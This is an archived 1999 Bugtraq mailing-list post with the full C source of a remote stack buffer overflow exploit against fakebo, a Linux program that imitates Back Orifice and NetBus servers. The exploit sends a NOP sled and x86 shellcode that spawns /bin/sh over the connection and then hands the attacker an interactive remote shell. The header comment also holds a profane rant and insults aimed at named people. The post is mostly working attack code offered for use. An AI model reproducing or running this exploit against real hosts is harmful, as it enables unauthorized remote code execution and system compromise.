remote fakebo shell exploit
Date: Thu, 11 Feb 1999 20:59:20 +1100
From: Groovy Pants Gus <gus@SB7.YOONIX.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: remote fakebo shell exploit
/*
Just your standard smash the stack buffer overflow, fakebo has an unchecked
strcat in it's netbus handling code, allowing for remote code execution.
<rant>
to all you people who try to write netbus detectors, listen on port 12346, as
well as 12345.. if 12346 is closed, it's obviously not a real netbus server..
damn fools.. anyway.. i decided to write this program a) to prove i'm not
JUST a
script kiddie (although i basically am :), and b) because the page for fakebo
says:
"...its not enough that Linux has stable and secure networking,
it's able to emulate the bugs in other platforms... "
i found this highly amusing, and it made me want to find some bugs in it.. i
figured the "bugs" they meant must have been the ones in NOBO which allow for
easy detection of a fake BO server, since those are the bugs it seems to be
emulating.. oh well.. i can't be bothered releasing my code for that (a guys
gotta have some secrets, right? (hint: packet size < 19 IS NOT VALID))
one last thing.. if rootshell put this on there page, then i'm asking them
now, dont bother if you're going to put your spam at the top of my code
</rant>
Hi Myn, hope you get hit by a bus driven by a postal worker on crack.. you
too,
mindrape.. fuck you
*/
#define ADDR 0xBFFFE258 /* Return address, YMMV */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <signal.h>
#include <arpa/inet.h>
/* stolen from qpush */
void terminal(int s) {
char buf[1024];
fd_set rfds;
fd_set fds;
int i;
for (i=0;i<NSIG;i++)
signal(i,SIG_IGN);
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
for (;;) {
memcpy(&rfds,&fds,sizeof(fds));
i=select(s+1,&rfds,NULL,NULL,NULL);
if (i==-1) {
perror("select()");
exit(0);
}
if (i==0) {
printf("Session closed\n");
exit(0);
}
if (FD_ISSET(s,&rfds)) {
if ((i=read(s,buf,sizeof(buf)))<1) {
printf("Session closed\n");
exit(0);
}
write(1,buf,i);
}
if (FD_ISSET(0,&rfds)) {
if ((i=read(0,buf,sizeof(buf)))<1) {
printf("Session closed\n");
exit(0);
}
write(s,buf,i);
}
}
}
long resolve (char *host) {
struct hostent *he;
long rc;
if ((rc=inet_addr(host)) == -1) {
if ((he = gethostbyname(host)))
return *(long*)he->h_addr;
else {
printf("Unable to resolve %s!\n", host);
exit(1);
}
}
return rc;
}
char overflow[] = { /* Ok, it's not the neatest, deal with it */
#ifdef DEBUG
0xCC, /* int 03h */
#endif
0xEB, 53, /* jmp forward */
/* backwards: */
0x33, 0xC0, /* xor eax, eax */
0x04, 0x3F, /* add al, 3Fh */
0x33, 0xDB, /* xor ebx, ebx */
0x33, 0xC9, /* xor ecx, ecx */
0x80, 0xC3, 0x05, /* add bl, 05h */
0xCD, 0x80, /* int 80h */
0x33, 0xC0, /* xor eax, eax */
0x04, 0x3F, /* add al, 3Fh */
0x41, /* inc ecx */
0xCD, 0x80, /* int 80h */
0x33, 0xC0, /* xor eax, eax */
0x04, 0x3F, /* add al, 3Fh */
0x41, /* inc ecx */
0xCD, 0x80, /* int 80h */
0x5B, /* pop ebx */
0x58, /* pop eax */
0x33, 0xC0, /* xor eax, eax */
0x04, 0x0B, /* add al, 0Bh */
0x33, 0xD2, /* xor edx, edx */
0x52, /* push edx */
0x8B, 0xCB, /* mov ecx, edx */
0x83, 0xC1, 0x07, /* add ecx, 07h */
0xFE, 0x09, /* dec byte ptr [ecx] */
0x83, 0xC1, 0x03, /* add ecx, 03h */
0xFE, 0x09, /* dec byte ptr [ecx] */
0x49, /* dec ecx */
0x49, /* dec ecx */
0x51, /* push ecx */
0x8B, 0xCC, /* mov ecx, esp */
0xCD, 0x80, /* int 80h */
/* forward:*/
0xE8, 0xC4, 0xFF, 0xFF, 0xFF, /* call backward */
/* data */
0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, /* "/bin/sh" */
0x01, /* 0x01 */
0x73, 0x68, /* "sh" */
0x01 /* 0x01 */
};
int port = 12345;
void main (int argc, char **argv) {
int i, rc;
char buf[2048];
struct sockaddr_in sin;
char *s;
int sock;
if (argc != 2) {
printf("Usage: %s <host[:port]>\n", argv[0]);
exit(0);
}
s = strchr(argv[1], ':');
if (s) {
*s=0;
port = atoi(s+1);
}
sin.sin_port = htons(port);
sin.sin_addr.s_addr = resolve(argv[1]);
sin.sin_family = AF_INET;
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1) {
perror("socket()");
exit(0);
}
rc = connect(sock, (struct sockaddr *)&sin, sizeof(sin));
if (rc == -1) {
perror("connect()");
exit(0);
}
for (i=0;i<1500;i++)
buf[i]=0x90;
memcpy(&buf[999-sizeof(overflow)], overflow, sizeof(overflow));
buf[999]=ADDR & 0xFF;
buf[1000]=(ADDR >> 8) & 0xFF;
buf[1001]=(ADDR >> 16) & 0xFF;
buf[1002]=(ADDR >> 24) & 0xFF;
buf[1003]='\n';
send(sock, buf, 1003, 0);
terminal(sock);
exit(0);
}
-- Groovy Gus - http://sb7.yoonix.net/~gus/